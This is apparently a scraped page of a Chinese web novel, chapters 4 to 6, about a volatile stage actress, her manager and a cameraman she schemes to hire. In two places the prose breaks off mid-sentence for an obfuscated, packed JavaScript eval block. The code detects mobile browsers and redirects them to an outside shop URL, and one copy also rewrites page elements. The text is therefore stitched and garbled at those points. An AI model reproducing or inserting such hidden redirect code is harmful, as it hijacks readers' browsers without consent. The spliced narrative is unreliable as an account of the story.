下一秒屏幕里，郑希音那张妖魅惑众的脸，居然和蔼可亲地，又冲他笑了笑。 — 无比漫长的排练一日终于结束。 郑希音换好私服走出更衣间，休息室沙发上，米燕似乎被帐帘拉动的声音吓一跳，捏着手机，明显要打电话给谁的动作，也僵在原地。 她一目了然的余光抛过去，米燕迅速放下手机。 踏进保姆车，夜幕已全然降落。 车子快速驶在熙熙攘攘的马路中央，街道两边五彩斑斓的霓虹灯牌闪烁起来，映在透明车窗，浮光一般，看不真切。 静默片刻，郑希音突然开口，“他早晚都会知晓的事，你何必着急通知，上赶着找骂，分明不关你的事。” 米燕抬起下巴愣了愣，才明白，被她撞破高鹏飞的交代。 “可是……”她刚鼓起勇气，想说些什么，却发现身侧，郑希音已闭上眼睛。 几秒后，清甜微凉的声音又起，“如果你没有借口拒绝他，我可以给你。” 米燕眼睛亮了亮，立刻扭转头看她，“你说。” “很简单，帮我调查一个人。” “什么？” “今天拍摄的摄影师。” “摄影师？”眼珠向上滑动，米燕很快明白过来，“啊，就是那个当场骂你——” 她蓦地顿了顿，尴尬转换措辞，“额，骂……人的？” 郑希音闻言偏头看过来，她睁开的眼睛，衬着窗外靡丽的灯光，莫名隐含了无限璀璨的笑意。 “No，查他身后，那个戴棒球帽的。” 4. 第 4 章 该要怎么形容眼前的景象呢？ 没有开灯的房间，巨大荧幕墙投影出静谧的无人岛画面，四面无垠的海水透出纤薄光线，像打翻一罐蓝调墨水，最浓烈的深沉，总是从最近的地方开始渗透。 渐渐地飘出窗外，被朦胧的远雾和薄云稀释，直至惨淡的晨白。 子夜已过，破晓之前，据说这是一天里，最为寂冷的时刻。 她的视线穿过落地窗玻璃，如同穿过摄影机的镜头，从未在城市复古和现代交织的建筑上停留，不是远到天海尽头，就是近在落地窗前，自身冷漠空洞的虚影。 总是如此，两个极端。 电话铃响起的一刻，郑希音环抱身前的胳膊，才有了轻微松动。 “喂？听说你昨天又跟李PD闹翻了，到底为什么呀！我不是提醒过你，这种特殊时期安分一点，你知不知道，他已经投诉到老板那里去了呀…….” 声筒里，高鹏飞痛心疾首的声音，随郑希音甩开胳膊，手机滚动的弧线，而越来越远。 如果天花板能代替被子落下来就好了。 那时，躺在床边的地毯中央，她突然这样想。 “喂，喂？怎么不说话，你起床了吗？” “我失眠了。” 郑希音说完这句话的瞬间，万籁俱寂。 下一秒，空气中，只短暂飘过电话挂断的嘟嘟提示音。 — 高鹏飞再次拨通电话，已经下午一点。 距离话剧第三次联排开始，还有不到一个小时。 他冲后视镜点点头，保姆车的门打开，米燕和新聘请的化妆师Cindy一起跟他上楼。 电梯停在高档住宅楼顶层，进门之前，高鹏飞以防万一再次强调，“记得都少说话，快做事。” Cindy莫名其妙点头，只有米燕多少能GET他的意思。 遥想当初入职“剧说”工作室不足半月，米燕就很快听说，这位业内极有名的话剧女演员，居然半年内陆续换过四任助理！ 其中一任，似乎就因说错一句话，被郑希音秒辞。 彼时米燕懵懂无知，没忍住好奇直接问，“那个助理说了什么话？” 被高鹏飞含糊过去，“总之是句废话。” 米燕虽不及一些同事圆滑，但多少懂得，想要幸免于难，起码做足功课的道理，于是又偷偷去请教还算职场老手的司机吴峰。 “所以，他到底说了什么呀？” 吴峰纠结半晌，欲言又止，“其实我当时也是听说，郑希音平日里失眠挺严重的，看了医生，也吃过很多药，都无济于事，连高鹏飞也没办法。估计那个助理也只是想表达关心，所以随口问了句——” “什么什么？” “......你为什么会失眠？” “......” 问一个长期被失眠困扰的人为什么会失眠？ 米燕不知不觉点着头，突然觉得，自己能留这么久也是有原因的。 小本本赶紧记录下：郑希音不喜欢听人废话。 “那她的失眠症，真有这么恐怖？”米燕想了想又问。 “你还不知道呢？”吴峰睁大眼睛，仿佛诧异，“工作室里一直流传个说法，就是你能看到的郑希音，每天大概有两个状态：她发疯的时候，和她不疯的时候。而凌驾于这两种状态之上，还有一种，也真正最为恐怖的，就是……” “什么？” “她失眠的时候。” “可，为什么啊？”米燕完全搞不懂。 瞄了瞄咖啡馆四下无人，吴峰便凑近解释，“因为前两种无论哪个状态，郑希音都还是有生气的，只有当第三种情况出现，她是完全面无表情的，也不怎么说话，就像……就像……” 他眼睛随神思转动，忽抬手一指，“就像摆在那的木偶娃娃。” 米燕顺他手指方向，朝玻璃橱窗内装饰品看过去。 木偶娃娃呀……还是挺美的呀，哪里恐怖了。 吴峰正经摇摇头，“你能想象恐怖片里，那种人偶灵魂出窍、大眼无神的感觉吗？即便你做错天大的事，她也不会说什么，而是看着你，一直看着你……” “一直看着？” “对，就这样，一直看着。” 米燕缩了缩脖子，突然没来由地一阵恶寒。 于是小本本上又多了一句话：郑希音的失眠症恐怖至极，能避则避，无药可医。 — 甫一进门，所有人被迎面而来的暗沉吓一大跳。 完全没开灯的房间，郑希音蜷腿坐在客厅沙发，高鹏飞果断拉开窗帘，日光顿时洋洋洒洒，从奶黄色的睡裙和针织开衫向上，扫过她冷白的脸颊和黑发。 某一瞬间，连瞳孔颜色都消失了。 米燕不由从打心底怔了怔，还真如吴峰所言，就像一个装扮精致、却缺失灵魂的橱窗娃娃。 不过也许因为男女角度不同，也许因为今天阳光过于温柔，此时此刻，米燕却突然感觉，眼前这个娃娃，更像是玻璃做的。 仿佛一碰，顷刻就要碎了。 郑希音难得配合任人摆布，从给她化妆、梳头、卷发，再到最后换好衣服，效率飞快的二十分钟里，没人开口说话，连高鹏飞针对昨天的事，也只字未提。 直至坐进保姆车，快速驶向剧院的路上，高鹏飞手机铃声骤响，打破这种诡异的沉静。 来自大老板的电话，他不得不接。 后座里，米燕趁机将一份“调查报告”的纸质文件塞进郑希音手里，她面无表情的脸上，才有了轻微波澜。 短短几句“嗯”“啊”“好的”“明白”之后，高鹏飞挂掉电话。 随后，他生硬地将脸转向郑希音，欲言又止。 她贴在椅背的脑袋纹丝未动，仿佛早有预感，终于说出今天第二句话，“最后通牒？” 高鹏飞嘴一咬心一横，点头说：“昨天接到对方公司投诉，大老板也斟酌许久，这档综艺当初没询问你的意愿就签约，的确欠妥，但如今已成定局反悔不了，否则将面临巨额违约金。所以老板最后决定，话剧可以全面暂停，所有精力用来筹备综艺，等录制结束，你也可以趁机好好休息下……” 不言而喻，此“休息”和彼休息，意义迥然不同。 对于干这行吃这行饭的人来说，名气大过于天，任何休息都可能意味着被代替出局，没人会不警惕这种威胁。 郑希音偏头定定朝向他，眼神冰冷，“那没办法了。” 高鹏飞不自觉吞咽口水，又听见她说：“帮我打个电话吧。” 他愣了愣，“给谁？”不会是大老板吧？救命啊！ 看穿他的表情和心思，郑希音难得转换脸色，轻声嗤笑，“我让你打给李永南。” “不是你又要做什么啊？” 她一个眼神抬起，高鹏飞自觉关闭了废话通道。 只见郑希音侧头转向窗外，红唇在逆光的暗影里一张一合，似笑非笑的嗓音溢出，像极了恶魔低语。 “自是好心邀请他，来看我的话剧演出。” — 下午话剧排练至中场一幕，高鹏飞珊珊等来综艺局的人，却并非李永南和尹雪，而是他的摄影助理和一位临时实习。 高鹏飞逮住人问：“你们李PD呢？” “我们PD新节目忙着上星呢，哪是你们想见就能见的呀，他让转告你们，再一再二不再三，总该都听过狼来了的故事。”摄影助理石小军不仅看着肥肥胖胖，说话还挺呛。 听完这番，高鹏飞即使面色挂不住，但还是谨慎瞥了眼侧前方舞台，生怕一个不留神，又被郑希音这尊瘟神听到，闹出事来。 他又低声凑近问：“那你们是来？” 石小军昂首挺胸，“我们PD说了，既然你们不是诚心合作，那我们也没必要鞠躬尽瘁，彼此都应付应付，随便拍拍得了。” “应付？”高鹏 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一边温柔轻语：“应付我？这么说，代价你们也准备好了？” “代价？”这问题似乎有些超纲了。 石小军即使一头雾水，仍坚持半步不退，继续回怼：“明明是你们戏耍在先，到底该谁付出代价！” 仿佛被激起了兴致，郑希音环抱双臂，忽眉眼灿烂地勾起唇角。 望着她眼底浓墨重彩的光芒，高鹏飞立马知道，经过一次话剧舞台，她已经恢复平日正常疯的郑希音了。 因为这世界表情千姿百态、风情万种，她却最爱独一无二轻挑的笑，艳丽的凤眼半弯，仿佛世间一切都不曾放在眼里。 尤其是，能让她展露这般神色的人。 “我有点喜欢你了。”郑希音超乎众人意料地开口。 半秒后，她又问：“你是李PD的私人助理？” 石小军愣了愣，回答她：“摄影助理。” 听到“摄影”两个字，郑希音显而易见挑眉，似乎感觉神奇。 “那可太巧了，”她说：“我最近刚好，想要一个摄影助理。” 什么意思？ 石小军未及有所反应，被高鹏飞一个箭步挡到面前，抓着郑希音的胳膊，他压低声说，“你可别给我惹事啦。” 似乎被他这举动引得委屈，郑希音做戏般眨巴眼，声音掐出软糯，“他们这样欺负人，你也很生气不是吗？为什么都不想反抗呢……” 下一秒，眼神又陡然凌厉起来，“还是说，你真的以为我不知道，怂恿你，逼我营销所谓朋友情的人就是李永南？” 高鹏飞张大嘴巴，“你怎么知道？” 她说：“不仅如此，设局让狗仔跟踪，夜拍我和沈星宇的人，也是他。” 他无比惊愕，“什么？这不可能！” 郑希音一副无可救药的表情甩掉他的手，“所以啊，你阻拦不了我。” 她蓦地倾身上前，再次对上她不断贴近、言笑晏晏的眼睛，石小军不由自主后退吞咽口水，再结合她之前说“喜欢他”的话，仿佛有所醒悟。 他讷讷启唇，“你该不会……” “嗯？” “该不会……是想要挖我给你当助理吧？别做梦了，告诉你，我是不可能跳槽的！” 不止石小军这么以为，在场诸位，甚至连米燕和高鹏飞瞅她这番举动，瞬间都这么以为。 再度被他们脑洞引到弯腰大笑，郑希音好不容易忍住，手扶椅背站直，气息不匀地摆了摆食指，带着笑音，“NONO，我只是想找个人，替代你们PD。” 众人怔愣的间隙，只瞧她纤白的手指伸直，在每个人脸上划了一圈，又忽上忽下，玩闹般游移不定。 最后猝不及防绕弯，定定指向了剧场正中，过道里，那两个负责拍摄的摄影师。 “就他好了。”她说。 5. 第 5 章 傍晚五点钟，话剧排练告一段落，接下来是最为期待的放饭时间。 米燕却杵在侧舞台边一动不肯动，原因无他，入职工作室这么久以来，她还从未见过比眼下更滑稽、更有意思的对峙场面。 宽阔而寥寥空荡的舞台之上，高鹏飞一如既往保持生气烦躁时，就头疼扶额、来回踱步的习惯。 同时嘴里念念有词，“姑奶奶，我叫你一声姑奶奶好不好？求求你放过我吧，知不知道你随便一个换人决定，我们要面临什么？赔偿金！巨额的赔偿金啊！” 而在他脚跟不远的舞台下面，石小军认真手举电话，不时朝上轻蔑翻几眼，同样滔滔不绝，“没错PD，她亲口说的，要把我们换掉，不就是想主动解约！” 镜头一转，再往剧院后方延伸，宽阔的观众席间，一高一矮两位摄影师看起来也在密切交谈。 但实际上，更多时候，不过何川一个人的自言自语。 他表现得颇有前辈风范，拍了拍身边青年肩膀，肯定式说：“做的好，拒绝得对，不就多一倍工资嘛！相信我的话，千万不能和郑希音这种麻烦有任何牵扯，否则后患无穷！” 被他大肆赞扬的青年却始终垂头，未置一词。 段方禹大半面容隐没在黑色棒球帽里，只露出清冷瘦削的下巴，神情暗默难测，偶尔应对交谈时颔首，不如调弄摄影零件的动作，来得专心。 仿佛只等一声结束，随时准备撤退走人。 至于造成这一系列混乱场面的始作俑者，郑希音，此时此刻正翘腿席地坐在舞台中央。 明亮而焦黄的光晕下，她仍着一身破碎如雪的戏服，像失足跌落人间地狱里的精灵，被烈火焚烧后，仍能悠哉悠哉，啃着道具里一颗红苹果。 红与白的交映，疯与美的契合。 间隔虽远，不知怎么，段方禹仍能感知到，那双妖艳明媚的眼睛里，此时正盈满对他无限探究的意味。 “那个，不好意思……”微微耳熟的声音打断出神。 相隔一排座位的距离，段方禹和何川同时抬头，就见方才已来过一次的姑娘，如今再度出现。 米燕冲他们局促笑了笑，还在斟酌如何开口，手头下意识先比了个耶。 与此同时的舞台上—— “两倍？！” 高鹏飞怒瞪眼睛，不敢置信朝郑希音叉腰，“我没听错吧，你是要用比李永南高两倍的价码，去聘请一个籍籍无名的新人摄影师？你是不是疯啦！” 人类的免疫力果然神奇，“疯”这个词听多了，感觉就变成真的。 郑希音欣然接受，“是又怎么样？” 高鹏飞更加愤懑，“那你告诉我，你哪来那么多钱？综艺开拍需要投资吧，后期宣传经费，团队每人的工资，还有和柠檬解约的巨额赔偿金，这些都要怎么办！” 他手心叠手背，一番声嘶力竭的输出，郑希音揉着耳朵听完，却不按套路出牌，“我什么时候说过要解约了？” 那边忙打小报告的石小军听见，紧捏手机停住，诧异回头。 台上台下顿时一样反应。 高鹏飞这回搞不懂了，愣了片刻，才问：“什么意思……综艺你要继续拍？” “不然呢。” “那跟李永南的合作呢，也正常继续？” “啧，笑话！”郑希音咬掉一口苹果，鸦黑的睫毛上挑，眼神危险，“难道你方才没听见吗？他们说要应付我呢。” 什么嘛，闹了半天又回到原点！ 高鹏飞急的直跺脚，“那不还是要解约？！” 郑希音媚眼一翻，费力同他拉扯几句已是仁慈，当即懒得再理会。 好在被派去对面的米燕恰时回返，转移了注意力。 “咚咚咚咚”，米燕小碎步踏上台阶，在所有人带着询问的热切目光里，脚步截然而止，她表情尴尬杵在原地笑了笑。 答案不言而喻。 相比郑希音的淡定，意想不到反应最激烈的人，变成高鹏飞。 “什么意思？多两倍的金额他还看不上，竟然敢拒绝？！这个段方禹哪来的，也太不识好歹！” 米燕表示看不懂了，奇怪问：“你不是不希望他答应嘛？” “你懂什么，聘不聘用他是一回事，可他不给脸面拒绝我们，就是另外一回事！” 他说的义正严词，米燕听得大为无语，不禁暗暗腹诽：果然老男人一旦戏精起来，当真没有女人什么事。 苹果看似鲜艳，品尝过后越发味道普通，残缺的一半，便失了兴趣被搁置，压在裙尾凄白的边缘。 郑希音终于掀起眼帘，胳膊向后撑起，纤白指尖轻轻点在舞台的桦木地板，魅惑的眼睛看似漫无目扫视。 突然就一个方向落定。 她缓缓噙笑，食指屈起勾了勾，“喂，你上来一下。” 分明半坐半躺、懒漫随意的低阶姿势，却生生让在场所有人，品味到说不出的，高高在上和颐指气使的感觉。 石小军手举电话，瞄了眼四周，最后茫茫然指向自己，表情质疑。 郑希音身体微微前倾，白裙贴着凹凸有致的曲线，“没错就是你，嗯叫什么来着，啊，石小胖。” 石小军走到一半的脚步顿住，隐隐咬牙，却没出口回击，半点看不出之前的嚣张气焰。 当然不是他不想，只是确没想到，事情发展会如此出乎意料。 石小军十分替自己无辜，他完全按照临行前李永南的交代行事，不给郑希音好脸色，但也切忌和他们撕破脸，按照他自己理解，那就是撑足架势，跟对方反着话就是了。 谁料这么一撑，就把牛皮给撑破了。 “只要不是我们主动提解约，其他无所谓，你没给对方留下什么把柄吧？”李永南方才电话里这么一问，给石小军问懵了。 也许？应该？大概？ 他支支吾吾说不清楚的时候，这不，就被郑希音叫到台上。 饶有兴致观赏够他难堪的表情，郑希音仿佛尽在掌握地，冲他轻抬下巴，”喂，这次换你去当说客好了。“ 石小军莫名其妙睁大眼，以为自己听错了，“闹呢！凭什么我要听你的？你别以为……” “停——” 郑希音立刻不耐烦蹙眉，贫了声，似乎已极度不想在这些琐事上浪费口舌。 “算了，直接开扩音吧。” 在她眼神威逼下，石小军只能闭嘴，不明所以地点开手机扩音。 电话联通，郑希音大刀阔斧省去了客套的麻烦，直奔主题，“李PD，墙脚听够了，也该你表个态了吧。” 话筒没有延迟，传出李永南浑厚果断的声音，“郑希音，要解约随便你，别想拉我们下水。” 郑希音却听得笑了，接过手机，红唇慢条斯理地吐字，“这是哪里话，业内皆知我郑希音向来最讲合约精神，想来是李PD觉得辛苦应付不来，主动请辞，才会特意派助理和实习过来告知，那我只好悉听遵命，勉为其难换人咯。” 她才说完，那头李永南立马“嗤”了声，显然对这套反讽话术早有提防。 他斩钉截铁，“多说无益，想解约，还得你自己去提！” “哦？要我亲自去跟你们柠盟的廖总提，你确定？”郑希音挑起一抹狐狸声线，像极对正中圈套的猎物，唸舔爪子。 李永南未及有所反应，下一秒，只听手机里跳出另个，让他熟悉又窒息的声音—— “我们PD说了……应付应付随便拍拍，我们PD说了……新节目大势所趋，不差你们这一个。” 不知何时，原本用于腰间迷你小巧的回字别针，被郑希音玩弄般捏在指腹。 她随手触摸哪里，录音便一字不差地，播放又停止。 “你说这个玩意儿，是我亲自把它交给你们廖总，还是直接放到网上，会比较好呢？” 所有人面面相对，保持吃瓜的状态，或偷笑，或缄默。 电话那头也是死一般寂静。 半晌，才传回李永南无比愠怒的警告，“郑希音，你不要太过分！” 郑希音却笑得越发轻挑放肆，“哪里话，毕竟事关李PD的职业生涯，我还可以更过分一点。” “你疯了！这是两败俱伤！” “说起来还要多亏PD你，让我知道了一句话——黑红也是红，要不，你也试试？” 空气彻底陷入死灰般沉寂。 片刻过去，李永南压不住的寒鸦嗓音，终于还是响起，“郑希音，你赢了。” 随即电话挂断。 郑希音计谋得逞后却冷了笑容，一个麻利抬手，完美的抛物线划出，手机重新回到石小军怀里。 “好了，现在你可以去了吧。”她说。 面如死灰的石小军缓了好会儿，才回神，面对陷他于绝地的始作俑者，更加愤愤不平：“做梦，我为什么要听你的！” “那你还有别的选择吗？” “大不了……大不了我可以背锅，可以辞职！” 郑希音似笑非笑地看他强装硬气。 几秒后，她换了种语调，说：“这样啊~那如果我告诉你，若这一次对方仍拒绝，最后一切的价码就都归你，你还去不去？” 依旧是不按套路出牌的做法，再加上天上掉馅饼的事，即使石小军能抵抗诱惑，也早有人按不住动心。 “我可以！我愿意！姐姐快看看我，能给个机会嘛！” 原来是和石小军同行而来，李永南阵营里，那个没什么存在感的实习生。 郑希音看戏般挑眉示意，主动权便又抛回石小军手里。 果不其然，再嘴硬的石小胖有了危机感，到底还是为五斗米而折腰，“去就去，反正，就只去这一次，不管结果如何，损失的又不是我。” 郑希音没忍住好笑地撑起下巴，赶在他离开前说：“很简单，这次只需你替我告诉他，常言再一再二不再三，倘若连续拒绝一个女生三次，他可是要倒大霉的~~” 石小军愣了愣，不确定地眼神询问：“这，是我理解的那个意思吗？” 高鹏飞血疼地扶住脑壳，自作聪明回答，“不错，三倍。” 石小军刚点头，旁边，郑希音马上毫不留情打脸，“既然都最后一次了，自然也该换个赌注玩法，你家李PD的那点价码人家看不上，那不如——” “试试我的呢？” 不等石小军开口，一旁高鹏飞先闻之变色，神态惊恐。 “什么意思？你又想怎么样！别忘了，你的综艺片酬可是合约里敲定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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视线便刚好，从当事人段方禹清绝的半张脸闪过，又撞进何川毛遂自荐举起手，那尴尬而不失厚脸皮的眼神里。 — 舞台这边等待答复的同时。 高鹏飞没放弃本着一个优秀经纪人居安思危的准则，怒气狂飙。 他算彻底明白了，一个麻烦解决不代表事情会变得easy，因为根源在于郑希音就是那个问题，只要有她在，就会造成不堪重负的连锁反应。 “你真的是疯了！半点苗头都没有的综艺，选题全无，进度全无，效果全无，你却要为了区区一个新人摄影师，砸进全部的收入！我现在只求一个答案，你这么折腾，到底是为了什么啊？” 求一个答案…… 听到高鹏飞这句，郑希音蓦然意味深长笑了笑。 回想两三天前，她独自坐在剧院天台的阁层上，也在思考着同样问题。 手指间的烟蒂忽闪忽灭，夹带火星的灰烬差点毁掉玫瑰色红裙，一个拂手弹开，烟灰便随风寂冷飘散，像魑魅魍魉的地狱幽灵。 她目光追随过去，仿佛从中看到了自己。 也这时才发现，阁层下方的平地处，那个背身于她，脚尖踩在天台边缘的青年。 登高望远的一个好处是，可以完美隐藏自身不堪的面目，却又能尽情窥探他人的隐私，也许这就是为什么，人人都不择手段，想往高处爬的原因。 所以郑希音恰到好处看见了，头戴棒球帽，黑色帆布鞋，右手紧攥电话，贴在耳边，他踏出半空摇摇欲坠的一只脚，仿佛轻飘飘的，只是出于好奇丈量大厦的高度…… 而并非对生与死的一场疯狂试探。 郑希音细长的眼尾上扬，又啜了口烟，就在对那人产生微不足道一点好奇时，率先，听见了他的声音—— “无论我逃到哪，到头来，还是会被你们找到，死人欠下的债是永远也还不清的，所以我想到此为止了。如果你们不信，现在就可以过来——” “杀了我。” 清冽而坚决的，像垂坠悬崖的一股冷泉，而又恰到好处，不至于刚毅。 有种记忆之初莫名的遗落和回拾感。 或许通俗一点，梦中情声。 郑希音知道自己的关注点有严重偏差，但她还是忍不住仰头，对着云朵，对着天空，任风扬起色彩分裂的发丝和裙摆，飞舞凌乱。 而她缓缓勾唇，闭上眼睛。 都说，当人但凡无畏地提及死亡时，本身便是一种求生信号。 人性本懦，那些真正与死亡无限贴近的人，大多不属于白日，而属于冷月，属于深海，属于每一个万籁俱寂不为人知的黑夜。 所以他的那份无畏，究竟出于软弱，还是真心？ 因着那副动听嗓音，郑希音产生了一丝好奇，便为这样一个答案，开启了她的圈套。 而如今，在亲眼目睹耷拉脸皮的石小军，一步步自舞台对面回归时，也终于结束试探。 郑希音绽放了她最终冷艳的一笑—— “不过想确认，他是不是真的想死。” 6. 第 6 章 三日之后，话剧《巴黎圣母院》最后一次现场联排。 剧院后台，张贴“郑希音”名字的专属休息室内，高鹏飞无聊支肘，靠坐沙发内侧，借协助郑希音办公之名，行监控督促之实。 排练在即，他手抬腕表，确认剩余准备时间，才想起件事。 “对了那个新人，跟他约的是今天报到吧？” 明光耀眼的化妆镜里，郑希音双眼闭合，任由斑斓的粉影点缀其上，衬着白腻透彻的皮肤，精致美艳而不失自然。 连见多识广的化妆师Cindy，都忍不住感叹每一次上妆完成，都好似见证一件艺术品诞生。 郑希音一动不动，为她整理发型的米燕，识眼色代替回答：“是的。” 高鹏飞这下站起来，语气不爽，“什么素质，这才上班第一天就迟到！” 听说过前情的Cindy，没管住嘴八卦，“该不会拿钱跑路了吧。” “他敢！”高鹏飞抬腿越过沙发前小方桌，下一秒，“啪”，什么东西就被他甩在化妆台上。 被声响干扰，郑希音缓慢醒目，睨了一眼。 一份透明包壳的纸质文件，首页黑体特别加粗，标注四个大字——“调查报告”。 她浓密的睫羽上挑，化妆镜里，冷艳的眼睛不动声色朝侧后方倾斜。 视线相撞，米燕心虚埋下了脑袋。 “合约已经签了，一半价码也提前给他打过去了，他区区一个摄影新人，胆敢放我们鸽子？要不是李永南请辞，我好说歹说让柠盟同意换我们的人，导演能轮得到他？要拿捏，也该我们拿捏他才是！作为名义上的甲方，对乙方这点探知权总该有吧！” 背靠化妆台，高鹏飞理直气壮说完，又随手将文件拾起，“不过说起来，我还没正经看过。” 当着郑希音面翻开第一页，他目光横扫，嘴头先散漫念出来，“段方禹，男，二十七岁，嗯？” 微微停顿，他眼皮上掀，朝郑希音侧了眼，“跟你同岁啊。” 然后继续，“祖籍青川市，父母双亡，后被姑母收养，曾就读青川市崇明高中……” “青川，崇明？那不就跟你同乡同校吗？”高鹏飞惊疑抬眸，再次朝郑希音定定看去，心中更是刹那电光火石，闪过诸多联想。 该不会这两人……之前早就认识吧？ “你记错了。”镜子前，郑希音斩钉截铁否定，头也未抬。 “是吗？”高鹏飞保持疑虑拧眉。 但他目光还是继续向下扫读，略过琐碎记事，很快就被一个全新发现点，转移所有注意力。 “......毕业于南方传媒大学，摄影专业，更是22届国际光影杯最佳导演奖的新人获得者！OMG！真的假的！” 他猛地站直，紧攥那一纸文件的激动，溢于言表，“你们知道这意味什么吗？” 米燕等自是摸不着头绪，“什么？” 他惊呼：“当然是天才呀，天才！” 精耕媒体这行的谁人不知，南方传媒大学，那可是国内顶尖的艺术院校，与郑希音曾就读的京北传媒大学并列前茅，不相上下，摄影更是其校内首屈一指的专业，不知成为多少学子梦寐以求的天地。 业内有多少知名导演、媒体大佬和国际艺术家，皆出自此种翘楚，所以它代表的不仅是实力，更是人脉。 至于国际光影杯导演奖，更不用说，是业内优秀代表的风向标，而他一个区区新人，居然能突破重围囊获大奖，不是天赋异禀，又是什么？ “真的假的？”米燕听完惊呼。 她自认见识浅薄，不懂高鹏飞说的那些，但米燕相信基本常理总没错，“可若他真这么厉害，为什么只甘心在京世做个普通的摄影助理呢？图什么啊？” 这倒确实一下把高鹏飞问住了。 但干这行也不是一两天，高鹏飞坚信自己的了解和判断。 脑海陡然闪过道光，下一刻，他忽然侧身俯首，撑在光滑的镜妆台面，朝郑希音靠了过去，眼神好奇又炽热。 “说吧，你是不是早就知道点什么，所以才搞出那些动静，就为了故意钓他，对不对？” 转念一想，高鹏飞更加醍醐灌顶，猛拍大腿，自作聪明地总结：“是啊！我怎么没想到呢，比起李永南那些让人看吐的剪辑套路，一个新兴转型的天才导演，绝对会超过他，成为综艺更吸引人的卖点！” Cindy最后完美涂上口红，郑希音直接省去对照镜子的步骤，叠了璀璨色彩的眼睛，冷冷往上一瞟，打断他，“说完了么，说完了出去，我要换衣服。” 居然没否认？ 高鹏飞立马打了个响指，冲她抛回个“秒懂”的眼神。 随后就这么兴致洋洋，滑着太空步离开。 关上休息室的门，高鹏飞才后知后觉，那份调查报备也被他随手带出来，索性无聊，背靠墙板又翻了翻。 掠过最后一页时，忽瞳孔微缩。 又将报告倒回前两页中间，他不禁低低“咦”了声，“这里怎么撕掉一块？” — 依旧是素黑棒球帽，素黑的冲锋外套、牛仔裤搭配帆布鞋，就连随身携带的挎包和口罩，也都是黑色的。 像一道风，他奔跑过剧院正门的喷泉，内部蜿蜒幽静的长梯，后台熙攘的人行通道，最后克制喘息，停在了贴示“郑希音”名牌的门前。 然后轻轻敲门，三次，无人回应。 段方禹犹豫短暂，最后拧开门把，空无一人的休息室，不该在准备期间出现，只有一个解释，郑希音已经上场。 他来晚了。 微微仰头又垂落，段方禹无力呼出口气，刚想移步去前厅，却在这时，背后猛然传来账帘“刺啦”的声音。 他吃了一惊转身，视线定格的同时，背包掉在地上。 只着清凉贴身的吊带和安全裤，凹凸有致的曲线一览无余，大片匀称肌肤，暴露在吊灯晶莹缥缈的光束下，白皙且耀眼，又如凝脂般透彻。 郑希音就这样神色慵懒地出现，肩倚门廊似笑非笑，盯着他。 明明看起来什么都没穿的人是她，而他一副全黑武装，胜似强盗的模样，怎么倒先一步合眼背身，宛若遭受了重大暴击？ 见状，郑希音不禁生出几分挑逗心思。 她慢步上前，绕到正面，戏谑的语调同时在问：“怎么，害怕我？” 这算得六七天来，他们之间第一次正式交谈，不回答，等同于轻视。 所以段方禹悄无声息闭了闭眼，说：“没有。” 一如印象中平冷，听不出起伏的声音，郑希音却似不甚满意，于是以纤腰为支点，身体前倾，带着满满诱惑的压迫感，审视过去。 段方禹被她蓦然靠近的动作，逼地向后，不断仰头。 郑希音却没到此为止，她眉眼含闹地更近一分，他便只能再仰一分，几个回合下来，他绷直了腰线，身体不由自主越来越硬，也越来越紧。 身高差的阻碍在这个过程中有所消弭。 终于郑希音如愿以偿对上了，他伪装严密，唯独展露其外的眼睛。 睫毛根根分明而又浓郁，看似深邃不见底，瞳孔微缩，却清晰倒映出她的影子，给人一种与生俱来错觉的深情。 短短几秒，郑希音便丢了起初逗弄的心思。 主动靠近他的人是自己，却为何最后，反被盯出一种毛骨瑟缩的感觉？ 她不甘心这种失措，也绝不会承认，于是身体远离之前，故意朝着他眼睛，轻吹口气。 段方禹防不胜防地睫毛叠动，眨眼。 给了她得逞后，放肆调笑的契机，“既然不害怕，那你躲什么？” 段方禹再度睁眼，对上的便是她浓墨重彩的笑容。 是的，的确很美，却也美到让人越发看清，那笑容底下的傲慢张狂，和没心没肺。 他不动声色后退一步，郑希音微微挑眉，顺带“好心”捡起地上的挎包，递了过去。 明知对方意图不轨，段方禹犹豫几秒，还是出于礼貌伸手，果不其然，刚要接过的刹那，就被她迅速按住手腕。 郑希音打着声东击西的主意，另一只手猝不及防，转向他头顶的棒球帽。 可惜，帽檐刚被抬起几分，就被他另只手擒获，反观以同样姿势，按住了她手腕脉心。 既然再一再二不再三，段方禹觉得是时候也有必要提醒，“你该知道，我刚刚那样反应不是出于害怕，而不过是——” 有了前半句，他想强调的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958030|193220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意思足够明确，后知后觉省了下句。 但郑希音向来很会抓重点，“嗯？不过是什么？” 段方禹冷了片刻，还是答：“不过是被逗弄后的自然反应。” 也就是说，他并非怕她，没理由忌惮和忍受她一系列唐突行径。 面对面，手抓手，郑希音听到这眉眼噙笑，意味深长地品味起“不过是”这几个字。 捏住他手腕的力度，莫明紧了紧。 “那现在呢？”她突然头往前凑，魅魅低语，“都说人腕脉搏连着心跳，那你觉得现在我们，谁的心跳更快……” 她眼眸含笑，状似天真的不解，“或许这也是你所谓的，自然反应？” 不过寸余、瞳孔相对的一双眼，在那刻骤然惊颤，又骤然紧缩。 段方禹清醒过来，迅疾甩开她的桎梏，同时也松手。 郑希音早看准时机，以迅雷不及掩耳之势抬臂，刚好随他拉开距离的挣脱，就这么防不胜防、轻而易举地，摘下了棒球帽。 诡计得逞，她满面欣然的得意，却在抬眸刹那，对上他眉骨处赫然斑驳的青紫时，笑容凝固脸上。 最后一点点消失。 